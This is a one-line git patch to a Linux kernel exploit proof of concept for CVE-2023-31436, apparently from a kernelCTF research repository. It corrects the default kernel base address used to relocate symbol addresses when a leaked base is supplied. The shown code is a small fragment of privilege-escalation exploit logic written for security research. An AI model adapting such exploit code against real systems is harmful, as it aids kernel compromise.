From de790e6b3c1122bcf098913f10028a5414d143e6 Mon Sep 17 00:00:00 2001 From: liona24 Date: Mon, 18 Sep 2023 10:31:53 +0200 Subject: [PATCH] Adjust used based address --- .../CVE-2023-31436_mitigation/exploit/mitigation-6.1/exploit.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pocs/linux/kernelctf/CVE-2023-31436_mitigation/exploit/mitigation-6.1/exploit.c b/pocs/linux/kernelctf/CVE-2023-31436_mitigation/exploit/mitigation-6.1/exploit.c index 88ce252f..153e3534 100644 --- a/pocs/linux/kernelctf/CVE-2023-31436_mitigation/exploit/mitigation-6.1/exploit.c +++ b/pocs/linux/kernelctf/CVE-2023-31436_mitigation/exploit/mitigation-6.1/exploit.c @@ -964,7 +964,7 @@ int main(int argc, char* argv[]) { if (argc == 2) { u64 base = strtoull(argv[1], NULL, 16); L("using supplied kernel base: %llx", base); - u64 diff = base - 0xffffffff80000000ull; + u64 diff = base - 0xffffffff81000000ull; L("diff: %llx", diff); #define __x(name) { name += diff; L("corrected %s to %p", #name, (void*)name); }